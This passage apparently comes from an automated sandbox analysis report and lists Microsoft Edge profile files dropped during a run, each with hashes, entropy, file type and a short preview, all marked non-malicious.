Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376808157700221","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376808157700221","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.845247653247577
Encrypted:	false
SSDEEP:	24:F2xc5Nm5Bcncmo0CRORpllg2D/mfRHLVdCRORpllg2Sc03osxcnKCRORpllg2D/h:F2emUtrdDefBxXrdYxZrdDBBTrd+Bg
MD5:	750D88D31D015F4269313B32DB37C058
SHA1:	A0BD2B2A9F0F350F9A508BB74CBCF105DB2029FE
SHA-256:	93E78591381F58A978B09E918929D09AF39FF6A0AFCD019CE9BD24DCBFCD2A72
SHA-512:	7C2E8B75AEA47E7FAB6BCA831F175B50C019AE0E814D7E940715F761FDD46DFE59321FA58B5792DD543F3F3E8A731072479B018AD95DDC7CCC1C750285FE3247
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2t.$.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.130632277685455
Encrypted:	false
SSDEEP:	6:HusoM1N723oH+TcwtE/a252KLlVuSWpyq2PN723oH+TcwtE/a2ZIFUv:OfsaYeb8xL2XpyvVaYeb8J2FUv
MD5:	F71447F435EC20C3196CCA7E35A12566
SHA1:	75AE2EA5CB9082CEF6910D39F0A627378412E759
SHA-256:	6D990C017E6FDFB2EF7933631DE62991499C925D071102AD2E4893607C29405E
SHA-512:	86A3235362A98CDAF7B537E14EE7AF5D734F08FF4F1564FB7DD52210AC8C55F5B407065EBEF848B391EE11393A7F5005986B276ED56A84778376B9D6A3C341A9
Malicious:	false
Preview:	2024/11/22-23:02:56.665 e34 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/22-23:02:56.677 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.5789905123003765
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgeI:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFH
MD5:	4861496E32FA8E35FDAAF735CA841D07
SHA1:	65B139EC8BC68720DA52BF4A60C90F3EE8E2BF1E
SHA-256:	9FDA377ADB008BFB74DBA95B35286085364D110B3B9E7C898944F15390321ED6
SHA-512:	EEB095AF80F5D8FAB77EDADBA7404887C9E5774C7CE4BB9F2068A000ED56248EE2B4F9C6BBD924A9BD74E4C1486D8C76812B724D8A163EE67A1E99FBC63B05BE
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.385477525966753
Encrypted:	false
SSDEEP:	3072:sHYC9iZVvBjwvGZLWtL/x0MNxN0myAIt+E1TysQ:HBjw0LkL/62omy9ZG9
MD5:	0DF35871DC44901336859C6CCBD16FF4
SHA1:	77D54FA625FBAA7617D3CF8171D8E33175989752
SHA-256:	D3357D053173A690C041FC9C4F1831A9AB37906D6CBBE792B0FE835A8205BEA7
SHA-512:	C21E12617885BE7C02EB707C2EFDA2E7BFC7DB09E815B189996E5575B75E698A2914438F34095162BB1BCABA9822FE3230611B1A07904DAA1B052199998BD698
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTp........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rc........module....Rc........define....Rb.e.Y....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..^R$b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:fpA/KcyyXl/ly/l9/lxE0tlla/lCQC42l:2/KcNmO0gCVl
MD5:	3504EE2B40989EFC0E2146922C80DE07
SHA1:	730F17993C6262927B1AE49A1F68E49A84EDFBC2
SHA-256:	D93A253A0115B4AB02D2374BE191943EBDD28851FF6BC1B40F01C59C8D72DFBA
SHA-512:	2608E0184719A0357E795E04B4F750E1FBCB5E0E6758DB1A896001364EABA827CD2E90C38A58801C574D9FE795372FE02216DE1AFE8E41AFE8A7D51D738DCB13
Malicious:	false
Preview:	@...j..Zoy retne.........................X....,.................5.."./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:fpA/KcyyXl/ly/l9/lxE0tlla/lCQC42l:2/KcNmO0gCVl
MD5:	3504EE2B40989EFC0E2146922C80DE07
SHA1:	730F17993C6262927B1AE49A1F68E49A84EDFBC2
SHA-256:	D93A253A0115B4AB02D2374BE191943EBDD28851FF6BC1B40F01C59C8D72DFBA
SHA-512:	2608E0184719A0357E795E04B4F750E1FBCB5E0E6758DB1A896001364EABA827CD2E90C38A58801C574D9FE795372FE02216DE1AFE8E41AFE8A7D51D738DCB13
Malicious:	false
Preview:	@...j..Zoy retne.........................X....,.................5.."./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF45243.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:fpA/KcyyXl/ly/l9/lxE0tlla/lCQC42l:2/KcNmO0gCVl
MD5:	3504EE2B40989EFC0E2146922C80DE07
SHA1:	730F17993C6262927B1AE49A1F68E49A84EDFBC2
SHA-256:	D93A253A0115B4AB02D2374BE191943EBDD28851FF6BC1B40F01C59C8D72DFBA
SHA-512:	2608E0184719A0357E795E04B4F750E1FBCB5E0E6758DB1A896001364EABA827CD2E90C38A58801C574D9FE795372FE02216DE1AFE8E41AFE8A7D51D738DCB13
Malicious:	false
Preview:	@...j..Zoy retne.........................X....,.................5.."./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6345
Entropy (8bit):	3.3906487497180318
Encrypted:	false
SSDEEP:	192:i4c70kRT05sSi9Xp+aKif5SLl9iSrjiLri:w0KTn9Xp+5q5SLl9iSr+Hi
MD5:	9E90F91ECB35A40A5BF4B3AB10B5C833
SHA1:	E09B92F1B090FED9E59F651B2440AA77D6367AC0
SHA-256:	3FF237072CDA0823E50C063730D1F605F9B1B5A24FBD2A9F9B10A240DBF21BA1
SHA-512:	E85C85D84C07324346B28C5F7421528A5794E5484E26CB856D5D6F4FCBE8E9087A674EF41B420C5F736602C94639871C74D6708C15E9929698A7DDE51E0AE65C
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............[.."b................next-map-id.1.Cnamespace-99875d6b_0697_4240_81e8_d07fd38d25cc-https://ntp.msn.com/.0V.e................V.e................V.e................V.e................F....................map-0-shd_sweeper..{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.s.e.a.r.c.h.n.e.w.t.-.c.,.p.r.g.-.a.d.-.c.-.s.t.a.b.-.b.n.,.p.r.g.-.c.-.s.t.a.b.-.b.n.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.a.n.n.c.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.s.r.c.t.v.2.t.4.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.w.x.p.r.e.v.-.n.o.c.n.t.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.t.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.,.p.r.g.-.f.i.n.-.l.2.d.u.e.h.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.p.r.g.-.a.d.s.p.e.e.k.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1027689852640545
Encrypted:	false
SSDEEP:	6:HyqJyq2PN723oH+TcwtrQMxIFUt8Yyz/1Zmw+Yy/pRkwON723oH+TcwtrQMFLJ:SqsvVaYebCFUt8fz/1/+f/P5OaYebtJ
MD5:	D75869282AD41B9AA8D7E76EF53D1B39
SHA1:	C6649B12356F48A6DDF00B47B5ECE9C7D5D9E8D4
SHA-256:	8134219B656D79004448C37AA47BC0F60711E0DE5B063365898C201264F0EFBA
SHA-512:	1B75055A75B03917F10A22D9AFE92502AF38FEA827663B02E923EAE1978AAC88432F2FF475043E427AD1C32461F5EEBD5988A6CCDECFA3859B2B3DC4C1F44B84
Malicious:	false
Preview:	2024/11/22-23:02:38.788 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-23:02:38.790 1d30 Recovering log #3.2024/11/22-23:02:38.794 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1027689852640545
Encrypted:	false
SSDEEP:	6:HyqJyq2PN723oH+TcwtrQMxIFUt8Yyz/1Zmw+Yy/pRkwON723oH+TcwtrQMFLJ:SqsvVaYebCFUt8fz/1/+f/P5OaYebtJ
MD5:	D75869282AD41B9AA8D7E76EF53D1B39
SHA1:	C6649B12356F48A6DDF00B47B5ECE9C7D5D9E8D4
SHA-256:	8134219B656D79004448C37AA47BC0F60711E0DE5B063365898C201264F0EFBA
SHA-512:	1B75055A75B03917F10A22D9AFE92502AF38FEA827663B02E923EAE1978AAC88432F2FF475043E427AD1C32461F5EEBD5988A6CCDECFA3859B2B3DC4C1F44B84
Malicious:	false
Preview:	2024/11/22-23:02:38.788 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-23:02:38.790 1d30 Recovering log #3.2024/11/22-23:02:38.794 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376808160205306

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.816372132102694
Encrypted:	false
SSDEEP:	24:3Lyi2SdfetPgpsAF4unxEHtLp3X2amEtG1ChqHjQWPMLQKkOAM4:32YuPgzFUNLp2FEkChAHP7HOp
MD5:	1480B8EAC642591E467CE3F952398C82
SHA1:	C0950E4798F9B8C3EE676C8B21473FD42647BBC3
SHA-256:	2DFFFECE1E923F5495EB7E77B830E1ECB09723B50C89C3CBF01064227C97B937
SHA-512:	B3212AEEB34910890749ADB4DF6320E7A496600B1A46644E3C063C1591BFFF21462734AD4D0D366AB9E8D053CE4580828E5ED084B06C488B8BC87F7F659F48CE
Malicious:	false
Preview:	SNSS........b..............b........".b..............b..........b..........b..........b......!...b..................................b...b..1..,....b..$...99875d6b_0697_4240_81e8_d07fd38d25cc....b..........b......#..........b......b..........................b......................5..0....b..&...{46F3A197-DB49-410A-81B3-94975C835573}......b..........b.............................b..............b..........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........C5..'...C5..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1545642064819
Encrypted:	false
SSDEEP:	6:HHUvQ+q2PN723oH+Tcwt7Uh2ghZIFUt8YWgZmw+YWQVkwON723oH+Tcwt7Uh2gnd:UvVvVaYebIhHh2FUt8rg/+rI5OaYebIT
MD5:	6AE2927327C85B7901A83BAF8D5496B0
SHA1:	8899C11FA5AC90A43C19B30C1D8F4323784CB2F4
SHA-256:	D15B1AD3880E41CFA99DF611F982DFA1E0962572F728CC56789BB3F19B665F0C
SHA-512:	94888CB414F943976468A29C3F309709A31753CD3FA563BCA5891B45E6DB56407CD62E330D96B235E90527A66CB10782F7FFC86079B6823D8385D321F8124E80
Malicious:	false
Preview:	2024/11/22-23:02:37.789 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-23:02:37.790 1f58 Recovering log #3.2024/11/22-23:02:37.790 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1545642064819
Encrypted:	false
SSDEEP:	6:HHUvQ+q2PN723oH+Tcwt7Uh2ghZIFUt8YWgZmw+YWQVkwON723oH+Tcwt7Uh2gnd:UvVvVaYebIhHh2FUt8rg/+rI5OaYebIT
MD5:	6AE2927327C85B7901A83BAF8D5496B0
SHA1:	8899C11FA5AC90A43C19B30C1D8F4323784CB2F4
SHA-256:	D15B1AD3880E41CFA99DF611F982DFA1E0962572F728CC56789BB3F19B665F0C
SHA-512:	94888CB414F943976468A29C3F309709A31753CD3FA563BCA5891B45E6DB56407CD62E330D96B235E90527A66CB10782F7FFC86079B6823D8385D321F8124E80
Malicious:	false
Preview:	2024/11/22-23:02:37.789 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-23:02:37.790 1f58 Recovering log #3.2024/11/22-23:02:37.790 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.181067350061299
Encrypted:	false
SSDEEP:	12:S8vVaYebvqBQFUt8fe/+f5z5OaYebvqBvJ:SGVaYebvZg8ffLOaYebvk
MD5:	37BE0AFC50FB12DE0BA5D7BE52190085
SHA1:	6B6064EEEAEEE21A84FC85AE1F09FFDE75A9C60B
SHA-256:	3FC8C555B763ACCC1D8ED889F676EE7497BDAEF5C14ACF762ADB5A76CCCD41DC
SHA-512:	B9D9184D88896EB7DA20AF1B91B0A4F7A509211FFB4CA2275FA8780B409A1B6F4BA4C8153CABFADC4EF6A78A2FC980A21739D393CA6E9635CB178E542C59CE43
Malicious:	false
Preview:	2024/11/22-23:02:38.800 1cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-23:02:38.801 1cb8 Recovering log #3.2024/11/22-23:02:38.806 1cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.181067350061299
Encrypted:	false
SSDEEP:	12:S8vVaYebvqBQFUt8fe/+f5z5OaYebvqBvJ:SGVaYebvZg8ffLOaYebvk
MD5:	37BE0AFC50FB12DE0BA5D7BE52190085
SHA1:	6B6064EEEAEEE21A84FC85AE1F09FFDE75A9C60B
SHA-256:	3FC8C555B763ACCC1D8ED889F676EE7497BDAEF5C14ACF762ADB5A76CCCD41DC
SHA-512:	B9D9184D88896EB7DA20AF1B91B0A4F7A509211FFB4CA2275FA8780B409A1B6F4BA4C8153CABFADC4EF6A78A2FC980A21739D393CA6E9635CB178E542C59CE43
Malicious:	false
Preview:	2024/11/22-23:02:38.800 1cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-23:02:38.801 1cb8 Recovering log #3.2024/11/22-23:02:38.806 1cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0f710f49-4ec2-47c4-a5a0-522bbf227dd7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
